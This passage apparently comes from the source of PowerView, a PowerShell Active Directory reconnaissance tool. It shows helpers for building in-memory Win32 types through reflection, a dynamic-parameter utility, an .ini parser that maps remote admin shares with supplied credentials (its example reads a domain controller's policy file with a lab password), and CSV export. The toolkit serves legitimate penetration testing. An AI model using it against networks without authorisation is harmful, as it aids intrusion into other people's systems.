($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + foreach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + + +function psenum { +<# +.SYNOPSIS + +Creates an in-memory enumeration for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +The 'psenum' function facilitates the creation of enums entirely in +memory using as close to a "C style" as PowerShell will allow. + +.PARAMETER Module + +The in-memory module that will host the enum. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the enum. + +.PARAMETER Type + +The type of each enum element. + +.PARAMETER EnumElements + +A hashtable of enum elements. + +.PARAMETER Bitfield + +Specifies that the enum should be treated as a bitfield. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 +} + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Enum. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + foreach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() +} + + +# A helper function used to reduce typing while defining struct +# fields. +function field { + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# +.SYNOPSIS + +Creates an in-memory struct for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: field + +.DESCRIPTION + +The 'struct' function facilitates the creation of structs entirely in +memory using as close to a "C style" as PowerShell will allow. Struct +fields are specified using a hashtable where each field of the struct +is comprosed of the order in which it should be defined, its .NET +type, and optionally, its offset and special marshaling attributes. + +One of the features of 'struct' is that after your struct is defined, +it will come with a built-in GetSize method as well as an explicit +converter so that you can easily cast an IntPtr to the struct without +relying upon calling SizeOf and/or PtrToStructure in the Marshal +class. + +.PARAMETER Module + +The in-memory module that will host the struct. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the struct. + +.PARAMETER StructFields + +A hashtable of fields. Use the 'field' helper function to ease +defining each field. + +.PARAMETER PackingSize + +Specifies the memory alignment of fields. + +.PARAMETER ExplicitLayout + +Indicates that an explicit offset for each field will be specified. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C +} + +$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 +} + +# Example of using an explicit layout in order to create a union. +$TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 +} -ExplicitLayout + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Struct. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 1, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + foreach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + foreach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} + + +######################################################## +# +# Misc. helpers +# +######################################################## + +Function New-DynamicParameter { +<# +.SYNOPSIS + +Helper function to simplify creating dynamic parameters. + + Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/. + Originally released under the Microsoft Public License (Ms-PL). + +.DESCRIPTION + +Helper function to simplify creating dynamic parameters. + +Example use cases: + Include parameters only if your environment dictates it + Include parameters depending on the value of a user-specified parameter + Provide tab completion and intellisense for parameters, depending on the environment + +Please keep in mind that all dynamic parameters you create, will not have corresponding variables created. + Use New-DynamicParameter with 'CreateVariables' switch in your main code block, + ('Process' for advanced functions) to create those variables. + Alternatively, manually reference $PSBoundParameters for the dynamic parameter value. + +This function has two operating modes: + +1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse, +with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary. + +2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand. +Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters, +with custom conditions and so on. + +.NOTES + +Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration: + https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1 + http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/ + http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/ + +Credit to BM for alias and type parameters and their handling + +.PARAMETER Name + +Name of the dynamic parameter + +.PARAMETER Type + +Type for the dynamic parameter. Default is string + +.PARAMETER Alias + +If specified, one or more aliases to assign to the dynamic parameter + +.PARAMETER Mandatory + +If specified, set the Mandatory attribute for this dynamic parameter + +.PARAMETER Position + +If specified, set the Position attribute for this dynamic parameter + +.PARAMETER HelpMessage + +If specified, set the HelpMessage for this dynamic parameter + +.PARAMETER DontShow + +If specified, set the DontShow for this dynamic parameter. +This is the new PowerShell 4.0 attribute that hides parameter from tab-completion. +http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/ + +.PARAMETER ValueFromPipeline + +If specified, set the ValueFromPipeline attribute for this dynamic parameter + +.PARAMETER ValueFromPipelineByPropertyName + +If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter + +.PARAMETER ValueFromRemainingArguments + +If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter + +.PARAMETER ParameterSetName + +If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets. + +.PARAMETER AllowNull + +If specified, set the AllowNull attribute of this dynamic parameter + +.PARAMETER AllowEmptyString + +If specified, set the AllowEmptyString attribute of this dynamic parameter + +.PARAMETER AllowEmptyCollection + +If specified, set the AllowEmptyCollection attribute of this dynamic parameter + +.PARAMETER ValidateNotNull + +If specified, set the ValidateNotNull attribute of this dynamic parameter + +.PARAMETER ValidateNotNullOrEmpty + +If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter + +.PARAMETER ValidateRange + +If specified, set the ValidateRange attribute of this dynamic parameter + +.PARAMETER ValidateLength + +If specified, set the ValidateLength attribute of this dynamic parameter + +.PARAMETER ValidatePattern + +If specified, set the ValidatePattern attribute of this dynamic parameter + +.PARAMETER ValidateScript + +If specified, set the ValidateScript attribute of this dynamic parameter + +.PARAMETER ValidateSet + +If specified, set the ValidateSet attribute of this dynamic parameter + +.PARAMETER Dictionary + +If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary. +Appropriate for custom dynamic parameters creation. + +If not specified, create and return a RuntimeDefinedParameterDictionary +Appropriate for a simple dynamic parameter creation. +#> + + [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')] + Param ( + [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string]$Name, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [System.Type]$Type = [int], + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string[]]$Alias, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$Mandatory, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [int]$Position, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string]$HelpMessage, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$DontShow, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromPipeline, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromPipelineByPropertyName, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromRemainingArguments, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string]$ParameterSetName = '__AllParameterSets', + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowNull, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowEmptyString, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowEmptyCollection, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValidateNotNull, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValidateNotNullOrEmpty, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateCount, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateRange, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateLength, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string]$ValidatePattern, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [scriptblock]$ValidateScript, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string[]]$ValidateSet, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [ValidateScript({ + if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary])) + { + Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object' + } + $true + })] + $Dictionary = $false, + + [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] + [switch]$CreateVariables, + + [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] + [ValidateNotNullOrEmpty()] + [ValidateScript({ + # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class, + # so one can't use PowerShell's '-is' operator to validate type. + if($_.GetType().Name -notmatch 'Dictionary') { + Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object' + } + $true + })] + $BoundParameters + ) + + Begin { + $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary + function _temp { [CmdletBinding()] Param() } + $CommonParameters = (Get-Command _temp).Parameters.Keys + } + + Process { + if($CreateVariables) { + $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ } + ForEach($Parameter in $BoundKeys) { + if ($Parameter) { + Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force + } + } + } + else { + $StaleKeys = @() + $StaleKeys = $PSBoundParameters.GetEnumerator() | + ForEach-Object { + if($_.Value.PSobject.Methods.Name -match '^Equals$') { + # If object has Equals, compare bound key and variable using it + if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { + $_.Key + } + } + else { + # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator + if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { + $_.Key + } + } + } + if($StaleKeys) { + $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)} + } + + # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters + $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() | + # Find parameters that are belong to the current parameter set + Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } | + Select-Object -ExpandProperty Key | + # Find unbound parameters in the current parameter set + Where-Object { $PSBoundParameters.Keys -notcontains $_ } + + # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified) + $tmp = $null + ForEach ($Parameter in $UnboundParameters) { + $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0 + if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) { + $PSBoundParameters.$Parameter = $DefaultValue + } + } + + if($Dictionary) { + $DPDictionary = $Dictionary + } + else { + $DPDictionary = $InternalDictionary + } + + # Shortcut for getting local variables + $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0} + + # Strings to match attributes and validation arguments + $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$' + $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$' + $AliasRegex = '^Alias$' + $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute + + switch -regex ($PSBoundParameters.Keys) { + $AttributeRegex { + Try { + $ParameterAttribute.$_ = . $GetVar + } + Catch { + $_ + } + continue + } + } + + if($DPDictionary.Keys -contains $Name) { + $DPDictionary.$Name.Attributes.Add($ParameterAttribute) + } + else { + $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute] + switch -regex ($PSBoundParameters.Keys) { + $ValidationRegex { + Try { + $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop + $AttributeCollection.Add($ParameterOptions) + } + Catch { $_ } + continue + } + $AliasRegex { + Try { + $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop + $AttributeCollection.Add($ParameterAlias) + continue + } + Catch { $_ } + } + } + $AttributeCollection.Add($ParameterAttribute) + $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) + $DPDictionary.Add($Name, $Parameter) + } + } + } + + End { + if(!$CreateVariables -and !$Dictionary) { + $DPDictionary + } + } +} + + +function Get-IniContent { +<# +.SYNOPSIS + +This helper parses an .ini file into a hashtable. + +Author: 'The Scripting Guys' +Modifications: @harmj0y (-Credential support) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +.DESCRIPTION + +Parses an .ini file into a hashtable. If -Credential is supplied, +then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file +is parsed, and then the connection is destroyed with Remove-RemoteConnection. + +.PARAMETER Path + +Specifies the path to the .ini file to parse. + +.PARAMETER OutputObject + +Switch. Output a custom PSObject instead of a hashtable. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-IniContent C:\Windows\example.ini + +.EXAMPLE + +"C:\Windows\example.ini" | Get-IniContent -OutputObject + +Outputs the .ini details as a proper nested PSObject. + +.EXAMPLE + +"C:\Windows\example.ini" | Get-IniContent + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred + +.INPUTS + +String + +Accepts one or more .ini paths on the pipeline. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed .ini file. + +.LINK + +https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName', 'Name')] + [ValidateNotNullOrEmpty()] + [String[]] + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $OutputObject + ) + + BEGIN { + $MappedComputers = @{} + } + + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + if (Test-Path -Path $TargetPath) { + if ($PSBoundParameters['OutputObject']) { + $IniObject = New-Object PSObject + } + else { + $IniObject = @{} + } + Switch -Regex -File $TargetPath { + "^\[(.+)\]" # Section + { + $Section = $matches[1].Trim() + if ($PSBoundParameters['OutputObject']) { + $Section = $Section.Replace(' ', '') + $SectionObject = New-Object PSObject + $IniObject | Add-Member Noteproperty $Section $SectionObject + } + else { + $IniObject[$Section] = @{} + } + $CommentCount = 0 + } + "^(;.*)$" # Comment + { + $Value = $matches[1].Trim() + $CommentCount = $CommentCount + 1 + $Name = 'Comment' + $CommentCount + if ($PSBoundParameters['OutputObject']) { + $Name = $Name.Replace(' ', '') + $IniObject.$Section | Add-Member Noteproperty $Name $Value + } + else { + $IniObject[$Section][$Name] = $Value + } + } + "(.+?)\s*=(.*)" # Key + { + $Name, $Value = $matches[1..2] + $Name = $Name.Trim() + $Values = $Value.split(',') | ForEach-Object { $_.Trim() } + + # if ($Values -isnot [System.Array]) { $Values = @($Values) } + + if ($PSBoundParameters['OutputObject']) { + $Name = $Name.Replace(' ', '') + $IniObject.$Section | Add-Member Noteproperty $Name $Values + } + else { + $IniObject[$Section][$Name] = $Values + } + } + } + $IniObject + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +function Export-PowerViewCSV { +<# +.SYNOPSIS + +Converts objects into a series of comma-separated (CSV) strings and saves the +strings in a CSV file in a thread-safe manner. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This helper exports an -InputObject to a .csv in a thread-safe manner +using a mutex. This is so the various multi-threaded functions in +PowerView has a thread-safe way to export output to the same file. +Uses .NET IO.FileStream/IO.StreamWriter objects for speed. + +Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 + +.PARAMETER InputObject + +Specifies the objects to export as CSV strings. + +.PARAMETER Path + +Specifies the path to the CSV output file. + +.PARAMETER Delimiter + +Specifies a delimiter to separate the property values. The default is a comma (,) + +.PARAMETER Append + +Indicates that this cmdlet adds the CSV output to the end of the specified file. +Without this parameter, Export-PowerViewCSV replaces the file contents without warning. + +.EXAMPLE + +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" + +.EXAMPLE + +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' + +.INPUTS + +PSObject + +Accepts one or more PSObjects on the pipeline. + +.LINK + +http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [System.Management.Automation.PSObject[]] + $InputObject, + + [Parameter(Mandatory = $True, Position = 1)] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Parameter(Position = 2)] + [ValidateNotNullOrEmpty()] + [Char] + $Delimiter = ',', + + [Switch] + $Append + ) + + BEGIN { + $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path']) + $Exists = [System.IO.File]::Exists($OutputPath) + + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex' + $Null = $Mutex.WaitOne() + + if ($PSBoundParameters['Append']) { + $FileMode = [System.IO.FileMode]::Append + } + else { + $FileMode = [System.IO.FileMode]::Create + $Exists = $False + } + + $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $CSVWriter = New-Object System.IO.StreamWriter($CSVStream) + $CSVWriter.AutoFlush = $True + } + + PROCESS { + ForEach ($Entry in $InputObject) { + $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation + + if (-not $Exists) { + # output the object field names as well + $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) } + $Exists = $True + } + else { + # only output object field data + $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) } + } + } + } + + END { + $Mutex.ReleaseMutex() + $CSVWriter.Dispose() + $CSVStream.Dispose() + } +} + + +function Resolve-IPAddress { +<# +.SYNOPSIS + +Resolves a given hostename to its associated IPv4 address. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Resolves a given hostename to its associated IPv4 address using +[Net.Dns]::GetHostEntry(). If no hostname is provided, the default +is the IP address of the localhost. + +.EXAMPLE + +Resolve-IPAddress -ComputerName SERVER + +.EXAMPLE + +@("SERVER1", "SERVER2") | Resolve-IPAddress + +.INPUTS + +String + +Accepts one or more IP address strings on the pipeline. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject with the ComputerName and IPAddress. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + 